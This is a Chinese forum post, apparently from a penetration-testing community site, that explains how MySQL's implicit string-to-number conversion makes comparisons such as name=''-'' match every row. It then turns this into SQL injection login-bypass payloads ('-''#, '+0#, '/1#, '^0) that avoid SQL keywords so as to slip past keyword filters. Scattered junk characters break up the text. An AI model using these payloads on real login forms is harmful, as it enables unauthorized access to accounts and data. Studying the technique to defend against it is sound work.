我们先来看这样一个场景。0 U6 H8 {6 Q* p* c% j 有以下表结构: mysql> desc admin; +----------+--------------+------+-----+---------+----------------+7 g8 |! F, Q# A4 f( q* r+ K | Field | Type | Null | Key | Default | Extra | +----------+--------------+------+-----+---------+----------------+ | id | mediumint(9) | NO | PRI | NULL | auto_increment |* ~# j1 H! w8 u | name | char(32) | NO | UNI | NULL | | | password | char(32) | NO | UNI | NULL | | +----------+--------------+------+-----+---------+----------------+ 3 rows in set (0.00 sec)' F; Z0 S9 {) r) D 执行select * from admin;,成功返回所有记录内容。 ! H( A& E- M; {7 G0 ? +----+--------+----------------------------------+3 k1 J B. u: m/ [, u | id | name | password |4 E, C, m# Q1 h/ W& e& }7 l +----+--------+----------------------------------+ | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 | | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | | 4 | n00b | ff80e8508d39047460921792273533a4 | +----+--------+----------------------------------+ ~0 J; Y! W/ p/ O& q 3 rows in set (0.00 sec)9 |! q7 H& N& ` 执行select * from admin where name=”;,没有匹配到任何记录。 5 O+ ]1 p$ b# {2 S7 x mysql> select * from admin where name = '';! @! I8 s/ o. B$ E Empty set (0.00 sec) 那么我们来执行select * from admin where name = ”-”; # Q% h6 v. @% q+ m& ^! V6 j +----+--------+----------------------------------+; F/ J9 O }" f% x | id | name | password | +----+--------+----------------------------------+- M: ?5 }( ~2 r2 C6 R1 d& x& _ | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 | | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | | 4 | n00b | ff80e8508d39047460921792273533a4 | +----+--------+----------------------------------+* |4 p: i, ~' Y- E 3 rows in set, 3 warnings (0.00 sec)0 ^' A( r. Q; j0 f 可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 2 N$ N) W5 a; U8 ?1 e/ R5 K# T 5 R4 {, s/ s% B: O! }$ R1 | mysql> show warnings;5 U" Y0 S# l& c" p, X+ c: y +---------+------+------------------------------------------5 r+ g( [8 a1 P' D2 N/ q7 K | Level | Code | Message" i7 U# t7 L" z. H% N0 g2 E +---------+------+------------------------------------------ | Warning | 1292 | Truncated incorrect DOUBLE value: 'admin+ H' ]: o* M/ s5 X: u9 d4 D | Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s | Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b +---------+------+------------------------------------------ 3 rows in set (0.00 sec) 提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 4 ~5 z. k$ Z) e- J) @. {- y " ^6 B1 {. Q, H4 v {$ J mysql> select ''-''; +-------+ | ''-'' | +-------+ | 0 | +-------+5 M* [0 a" b8 g) l) ]3 K 1 row in set (0.00 sec)1 |, R. h) N) X 返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: : X. _2 ]+ R4 h' [$ I mysql> select CAST((select name from admin limit 1,1) as DECIMAL); +-----------------------------------------------------+ | CAST((select name from admin limit 1,1) as DECIMAL) |# r# V3 ?9 h# h$ L/ |3 ~ +-----------------------------------------------------+ | 0 |9 h0 x' Q" F0 J& e' ` +-----------------------------------------------------+ 1 row in set, 1 warning (0.00 sec)9 B2 E' ^+ r7 ~! }4 c 因此where语句构成了相等的条件,where 0=”=”,记录被返回。 8 v( T: m" ^! `+ b) _ SQL注入场景: http://www.sqlzoo.net/hack/ . U# [) P2 V% v6 Y3 o! S4 i! }, G( z ) B! D" n6 l! U" K2 ]/ H, w2 c a 9 d# N8 \, R' _% h2 _: J) x6 F 如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 $ ?) g& P$ G/ f) ^6 Z6 Q" o ( k* W4 g9 g7 W* r1 {8 r J/ F * v6 [1 F$ l/ q A3 j: b' h ( f& r2 i9 m- M% z+ s9 U 仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 # F j) q& G4 _5 t 7 i$ X; h7 ^3 F( Q 除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可 $ H% @( v, z4 e9 F9 L mysql> select ''/1; +------+ | ''/1 |; r6 o: a- i: C. n +------+ | 0 | +------+1 U: r# e+ Q. ]& _% [5 B1 d 1 row in set (0.00 sec) 类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 6 g- R. t& v# A, }3 S2 R! A 利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。 |
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |